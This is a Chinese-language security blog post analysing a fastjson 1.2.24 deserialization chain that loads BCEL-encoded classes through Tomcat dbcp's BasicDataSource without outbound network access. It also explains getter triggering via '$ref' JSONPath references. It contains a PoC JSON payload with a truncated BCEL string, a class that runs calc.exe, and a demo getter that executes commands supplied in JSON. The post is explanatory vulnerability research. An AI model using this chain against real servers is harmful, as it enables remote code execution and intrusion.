前言
fastjson公開的就三條鏈,前兩天我們上篇文章已經分析。TemplatesImpl要求太苛刻了,JNDI的話需要服務器出網才行。今天學習的這條鏈就是可以應對不出網的情況。
BCEL
什么是BCEL
BCEL的全名應該是Apache Commons BCEL,屬於Apache Commons項目下的一個子項目,BCEL庫提供了一系列用於分析、創建、修改Java Class文件的API。就這個庫的功能來看,其使用面遠不及同胞兄弟們,但是他比Commons Collections特殊的一點是,它被包含在了原生的JDK中,位於com.sun.org.apache.bcel
摘自P牛BCEL ClassLoader去哪里了
BCEL的簡單使用
BCEL這個包中有個類com.sun.org.apache.bcel.internal.util.ClassLoader
,他是一個ClassLoader,但是他重寫了Java內置的ClassLoader#loadClass()
方法。 在ClassLoader#loadClass()
中,其會判斷類名是否是$$BCEL$$
開頭,如果是的話,將會對這個字符串進行decode。可以理解為是傳統字節碼的HEX編碼,再將反斜線替換成$
。默認情況下外層還會加一層GZip壓縮。
我們可以編寫一個惡意的類
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}
然后使用過BCEL提供的兩個類 Repository
和 Utility
來利用: Repository
用於將一個Java Class
先轉換成原生字節碼,當然這里也可以直接使用javac命令來編譯java文件生成字節碼; Utility
用於將原生的字節碼轉換成BCEL格式的字節碼:
public class BCEL_T {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
System.out.println(encode);
Class.forName("$$BCEL$$" + encode, true, new ClassLoader());
// new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
}
}
講完BCEL我們大概知道了如何使用,這下看看在fastjson里面的使用吧
BCEL在Fastjson漏洞中的利用
測試環境
jdk8u31
dbcp 9.0.53
fastjson 1.2.24 [1.2.24之后修復了]
這里先貼一下poc[注意看注釋]
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
//這里是tomcat>8的poc,如果小於8的話用到的類是
//org.apache.tomcat.dbcp.dbcp.BasicDataSource
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "bbb"
}
這個poc最開始有點看不懂,這里貼一個其他師傅發的利用鏈,我們來分析下
BasicDataSource.getConnection() -> createDataSource() -> createConnectionFactory()
不管if是不是true都會進行this.createDataSource().getConnection();
這個操作,跟蹤下
然后繼續跟進下到createDriver
到這里就執行了我們的惡意代碼
可以看到這里是Class.forName
將類加載進來,並且設置了initialize
參數為true【其實就是告訴Java虛擬機是否執⾏”類初始化而staic就是在類初始化加載的】而Class.forName
方法實際上也是調用的 CLassLoader
來實現的。所以1和3都是可控的
但現在就有點問題了,我焯。他是怎么調用getConnection
的並且返回值是Connection
是不滿足geter的
我們回頭去查看這個POC形式
首先在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……}
這一整段外面再套一層{}
,這樣的話會把這個整體當做一個JSONObject,會把這個當做key,值為bbb
將這個 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的時候,FastJson 會對 JSON Key 自動調用 toString() 方法:
而且JSONObject是Map的子類,當調用toString
的時候,會依次調用該類的getter方法獲取值。然后會以字符串的形式輸出出來。所以會調用到getConnection
方法
具體調試可以看fastjson反序列化之basicdatasource利用鏈
$ref
因為調用geter是有限制的,對於不滿足getter的方法的時候我們該怎么解決呢?
當fastjson>=1.2.36的時候,可以使用$ref
方式調用getter
什么是ref
ref是fastjson特有的JSONPath語法,用來引用之前出現的對象
什么又是JsonPath
詳細可以參考:https://goessner.net/articles/JsonPath/ 這里簡單舉個例子
Test.java
public class test {
private String cmd;
public void setCmd(String cmd) {
System.out.println("seter call");
this.cmd = cmd;
}
public String getCmd() throws IOException {
System.out.println("geter call");
Runtime.getRuntime().exec(cmd);
return cmd;
}
}
觸發代碼
public class ref_fastjson {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.demo.fastjson.test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
JSON.parse(payload);
}
}
可以看到geter被調用了但是他是不滿足我們geter調用要求的
我們來解釋一下這個demo
[{"@type":"com.demo.fastjson.test","cmd":"calc"},{"$ref":"$[0].cmd"}]
這其實不就是一個數組嗎,fastjson解析到$ref
會判斷為是一個引用,$[0]
表示的是數組里的第一個元素,則$[0].cmd
表示的是獲取第一個元素的cmd屬性的值。
這里調試一下,看下調用棧
74行就是進行了一些ref的處理沒啥 然后一些賦值增加了一個resolveTask,進入75行
然后繼續進入eval
注意有一個init()
因為不滿足所以直接else,注意看explain()
函數,這個函數的作用是把$ref的value解析成segment,Segment是定義在JSONPath類的一個interface,然后explain()會把一個完整的JSONPath拆分成小的處理邏輯,這里就不截圖了 太多了。具體詳細流程看y4師傅學習。
最終JSONPath.eval
最終會調用到getPropertyValue
函數,會嘗試調用fieldInfo的get函數或者用反射的方式調用getter
至此流程我們大概就清楚了,那為什么1.2.36之前不行?
這里拿一個1.2.35對比一下差異主要在DefaultJSONParser#handleResovleTask
要求refValue不為null,且必須時JSONObject類
參考
https://paper.seebug.org/1613/
https://jlkl.github.io/2021/12/18/Java_07/
https://mp.weixin.qq.com/s/dvqvaiJG28TZAyMEyIC6Lg
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
https://blog.csdn.net/solitudi/article/details/120275526
https://ccship.cn/2021/12/21/fastjson%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8bbasicdatasource%e5%88%a9%e7%94%a8%e9%93%be/